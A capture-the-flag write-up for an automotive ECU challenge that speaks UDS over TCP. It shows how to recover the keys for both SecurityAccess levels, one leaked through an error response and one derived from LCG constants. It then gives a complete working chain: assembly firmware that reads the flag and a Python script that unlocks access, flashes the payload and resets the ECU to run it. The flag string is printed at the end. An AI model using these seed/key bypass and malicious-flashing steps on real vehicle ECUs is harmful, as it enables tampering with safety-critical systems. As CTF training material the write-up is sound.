arrow_backUS Cyber Games 2026
Pwnhard

Baby You Can Drive My Car

by Pavel Knespl (capyplivl)

A UDS-over-TCP automotive ECU (nc challenge.ctf.uscybergames.com 36879). The service is silent until you speak its protocol. Messages are framed as a 2-byte big-endian length prefix followed by a raw UDS PDU. The ECU exposes its onboard memory over ReadMemoryByAddress, with two seed/key security levels gating access. The intended path is not to read the flag out of memory — it is a malicious firmware update: flash your own firmware via the standard Download/TransferData/TransferExit/ECUReset sequence, and the harness re-execs it on your socket.

Recon

Probing framings shows the wire format is len(2, BE) || pdu. From there the services map out as: 0x10 DiagnosticSessionControl, 0x11 ECUReset, 0x22 ReadDataByIdentifier, 0x23 ReadMemoryByAddress, 0x27 SecurityAccess, 0x31 RoutineControl, 0x34 RequestDownload, 0x36 TransferData, 0x37 RequestTransferExit, 0x3e TesterPresent.

ReadMemoryByAddress (23, ALFID 0x22 = 2-byte addr + 2-byte size) returns NRC 0x33 securityAccessDenied until a security level is unlocked. RDBI leaks identity DIDs for free: F190 = VIN 1HGCM82633A004352, F187 = BABY-DRIVER-ECU-001.

Security Access

Level 1 (27 01/27 02): the seed is random each request, but a wrong key gets a 5-byte NRC 7F 27 35 XX XX whose trailing two bytes leak the expected key. seed XOR expected == 0x1337 for every sample, so key = seed ^ 0x1337.

Level 2 (27 03/27 04): the memory dump (readable once L1 is unlocked) contains an LVL_2_LCG_PARAMS blob: 41 C6 4E 6D and 00 00 30 39 — the classic glibc LCG constants a = 1103515245, c = 12345. The key is the high half of one LCG step: key = ((a*seed + c) >> 16) & 0xFFFF.

Reversing the firmware

At L2, ReadMemoryByAddress for addresses >= 0x4000 reads the ECU's own program image (the code maps /proc/self/exe into a buffer exposed there). Dumping 0x40000x8900 recovers the ELF and reveals the update logic:

  • The /flag.txt loader (sets a "flag loaded" global, fills a buffer returned by DID 0x1337) is dead code — zero xrefs, not in .init_array. A decoy. Reading the flag out of memory is impossible.
  • ECUReset hardReset (11 01) requires: a completed download (TransferExit flips a state flag), security L2, an active programming session, and the uploaded blob's last two bytes to equal sum(blob[:-2]) XOR 0xBEEF. On success it getenv("ECU_PENDING_FW"), writes the uploaded firmware to that path with mode 0755, replies 51 01, and exit(42). The harness re-execs the freshly written firmware on the same socket — that is the code-execution primitive.

Exploit

Build a tiny static firmware that reads /flag.txt to stdout (which is the socket after re-exec). Save as fw.s, assemble with gcc -nostdlib -static -no-pie -o fw fw.s:

.intel_syntax noprefix
.global _start
.text
_start:
    lea rdi, [rip+path]
    xor esi, esi
    xor edx, edx
    mov eax, 2
    syscall
    mov edi, eax
    lea rsi, [rip+buf]
    mov edx, 256
    xor eax, eax
    syscall
    mov rdx, rax
    mov edi, 1
    lea rsi, [rip+buf]
    mov eax, 1
    syscall
    mov eax, 60
    xor edi, edi
    syscall
path:
    .asciz "/flag.txt"
.bss
buf:
    .skip 256

Then run the full chain. The two things that matter: TransferData payloads must stay under the ~8 KB request cap (chunk them), and after ECUReset you must keep the socket open and read — the re-exec'd firmware's output (the flag) arrives there. Save as solve.py:

import socket, struct

HOST, PORT = "challenge.ctf.uscybergames.com", 36879
A, C = 0x41C64E6D, 12345

class UDS:
    def __init__(self):
        self.s = socket.create_connection((HOST, PORT), timeout=8)
        self.s.settimeout(8)
    def _n(self, n):
        b = b""
        while len(b) < n:
            c = self.s.recv(n - len(b))
            if not c: raise EOFError
            b += c
        return b
    def send(self, pdu):
        self.s.sendall(struct.pack(">H", len(pdu)) + pdu)
    def req(self, pdu):
        self.send(pdu)
        while True:
            r = self._n(struct.unpack(">H", self._n(2))[0])
            if len(r) >= 3 and r[0] == 0x7F and r[2] == 0x78:
                continue
            return r

u = UDS()
u.req(bytes([0x10, 0x03]))
s = u.req(bytes([0x27, 0x01]))
u.req(bytes([0x27, 0x02]) + (int.from_bytes(s[2:], "big") ^ 0x1337).to_bytes(2, "big"))
s = u.req(bytes([0x27, 0x03]))
u.req(bytes([0x27, 0x04]) + (((A * int.from_bytes(s[2:], "big") + C) >> 16) & 0xFFFF).to_bytes(2, "big"))
u.req(bytes([0x10, 0x02]))

fw = open("fw", "rb").read()
full = fw + ((sum(fw) & 0xFFFF) ^ 0xBEEF).to_bytes(2, "big")
u.req(bytes([0x34, 0x00, 0x22, 0x40, 0x00]) + len(full).to_bytes(2, "big"))
off, seq = 0, 1
while off < len(full):
    u.req(bytes([0x36, seq & 0xFF]) + full[off:off + 4000])
    off += 4000; seq += 1
u.req(bytes([0x37]))

u.send(bytes([0x11, 0x01]))
data = b""
try:
    while True:
        d = u.s.recv(4096)
        if not d: break
        data += d
except Exception:
    pass
print(data)

The tail of the socket after the reset is \x00\x02\x51\x01 (the 51 01 ECUReset response) followed immediately by the booted firmware's read of /flag.txt.

Flag: SVIUSCG{e4680d121133273be630ba991f4794a0}